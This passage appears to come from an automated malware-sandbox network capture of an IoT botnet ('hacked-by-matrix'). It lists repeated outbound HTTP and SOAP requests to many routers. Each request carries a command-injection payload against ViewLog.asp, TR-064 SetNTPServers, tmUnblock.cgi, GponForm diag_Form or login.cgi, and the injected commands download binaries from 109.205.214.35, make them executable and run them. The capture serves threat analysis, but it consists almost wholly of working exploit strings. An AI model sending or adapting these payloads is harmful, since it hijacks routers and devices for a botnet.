37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:05.973273039 CET	588	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Content-Type: text/html; charset=UTF-8 Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.14	38448	99.255.208.146	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.597198009 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:07.358432055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.14	43530	99.226.216.241	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.597215891 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:07.358441114 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.14	55378	213.176.107.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.759304047 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:10.878319979 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:11.035967112 CET	400	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Thu, 21 Mar 2024 04:22:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: waf_404=c18cfe87-f710-4844-ace5-bed66c6c4e9b; Max-Age=300; Path=/; HttpOnly Cache-Control: no-cache, no-store x-frame-options: sameorigin Data Raw: 35 36 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 68 6f 73 74 5f 6e 6f 74 5f 66 6f 75 6e 64 5f 65 72 72 6f 72 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 56<html><body><script>document.location='/host_not_found_error';</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.14	44768	82.68.34.118	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.759354115 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:10.878315926 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:11.036277056 CET	297	IN	HTTP/1.1 302 Found Location: /weblogin.htm X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache Content-Length: 0 Date: Thu, 21 Mar 2024 04:22:10 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.14	57452	172.65.91.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.794336081 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.14	48330	172.65.147.66	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.881719112 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:07.154043913 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.14	38744	172.67.105.13	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.882214069 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:07.154468060 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.14	51024	172.67.171.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.882672071 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:07.158879995 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.14	50696	172.65.112.54	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:06.882843018 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:07.158966064 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.14	58356	118.54.91.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.211779118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.14	51344	212.97.184.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.211815119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.14	37688	2.246.126.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.211847067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.14	38234	109.101.216.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.211899996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.14	53202	2.13.179.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.211949110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.14	33106	109.112.34.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.211967945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.14	47026	42.13.170.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.212027073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.14	45622	212.138.183.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.313044071 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.14	52620	13.248.145.171	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.642043114 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:22:09.151299000 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.14	44462	128.245.19.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.668807983 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
